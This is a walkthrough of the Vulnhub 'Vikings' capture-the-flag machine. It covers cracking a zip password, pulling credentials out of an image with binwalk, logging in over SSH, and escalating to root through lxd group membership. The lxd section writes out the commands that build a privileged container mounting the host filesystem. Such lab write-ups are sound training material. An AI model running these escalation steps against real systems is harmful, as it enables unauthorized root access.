Vikings – Vulnhub

Lets start by gathering our nmap scans. I always do a basic and a detailed scan:

From the detailed nmap scan, we find that ssh is available on port 22 and the web server is running on port 80. We also know we are dealing with a Linux machine. The only place to start here is the webserver which takes us to the following page:

I started manual enumeration of the web server checking for robots.txt, .svn and .DS_STORE but found noting. I also found nothing in the source code. I then ran a feroxbuster scan and found /images, and a file called war.txt. I downloaded war.txt and checked that out, which turned out to be a massive base64 encoded file. After decoding it, I opened it to find a large hex listing. I ran file on the decoded war.txt and discovered it was actually a zip archive. I then changed the filename of the decoded war.txt file to war.zip and unzipped it, but was stopped by a password request, which I didn’t have.

I then ran zip2john on the war.zip file and got a hash, which I then passed back to John the Ripper (JtR), using the rockyou wordlist, and cracked the hash to be ‘ragnarok123’. I used 7zip to unzip the file:

7z x war.zip password:ragnarok123

Once unzipped, we get a ‘king’ file which does turn out to be a jpeg:

I then thought that maybe there was some steganography being used here so I tried steghide and stegseek to crack this open but had no success. I then ran strings on the file and found was looked like an md5 hash but had no luck with that either. I then ran binwalk on the file:

binwalk -e king

This gave us a _king.extracted directory which I looked in and found 15D03F.zip and user files. Catting out the user file, we get the following:

//FamousBoatBuilder_floki@vikings
//f@m0usboatbuilde7

Lets try to ssh in using floki as the user and f@m0usboatbuilde7 as the password, success! We have out initial foothold as floki. At this point, I tried to move my enumeration script to the target with my standard wget, but I was blocked. I eventually had to resort to rsync to transfer the script:

rsync -avz CTF_EnumLinux.sh floki@10.0.3.15:/var/tmp/CTF_EnumLinux.sh

With that little hurtle crossed, I ran the script. We find floki and ragnor users on the box from the /etc/passwd file. Floki does not have sudo permissions and no ssh keys were found. In Floki’s home directory I found a file called boat, and another called readme.txt. Catting out boat we get a message referring to the 29th prime number and the collatz-conjecture, which I’ll leave for you to research that mathematical formula. From the bsdgames package, we have the primes binary that allows us to to put in a range of numbers and it will output the primes in that range:

sudo apt install bsdgames
primes 1 200 > primes.txt; subl primes.txt

Sublime Text text editor conveniently gives us line numbers and looking down through them, the 29th prime listed is 109. The readme.txt file was a message from Floki but it really wasn’t useful to me. As it turned out, 109 was a reference to the group id that floki was a part of, being lxd. My enumeration script actually pointed this out but I totally missed it on the 1st read through. I think there was an error in the way the box was setup because for me, the group number was actually 108, and we know that’s not a prime…

There is an lxd exploit available that allows us to create a new mount that has a copy of the file system in it, and then allows us to become the root user and navigate that mount. Here’s how it works:

1. We need to make sure that we are in the lxd group, which we are. We need to also ensure that we currently cannot run sudo, which we can’t.
2. Initialize an lxd container using the settings shown here:

3. Verify the container setup and check that the new ip interface was created using:

ip addr

4. Pull down the build-alpine binary here: https://github.com/saghul/lxd-alpine-builder
5. This should create a file like: alpine-v3.13-x86_64-20210218_0139.tar.gz
6. Move this file to the target machine (I work out of /var/tmp) and then run the following command to start a new container:

lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz –alias myimage

7. We can check the creation using:

lxc image list

8. Now we run the following commands to start our new container, which contains a copy of the file system, and we will be able to navigate it as the root user:

lxc init myimage evilroot -c security.privileged=true

lxc config device add evilroot mydevice desk source=/ path=/mnt/root recursive=true

lxc start evilroot

lxc exec evilroot /bin/sh

If everything worked correctly, we should now be the root user! We can navigate to /mnt/root and start exploring the file system. The flag is located at /mnt/root/root/root.txt. Kind of wierd but we had to be in the /mnt/root location to access the copied file system, and then we are looking in the file system’s /root directory, at the root.txt file. Hopefully that explains the long location with all the /roots.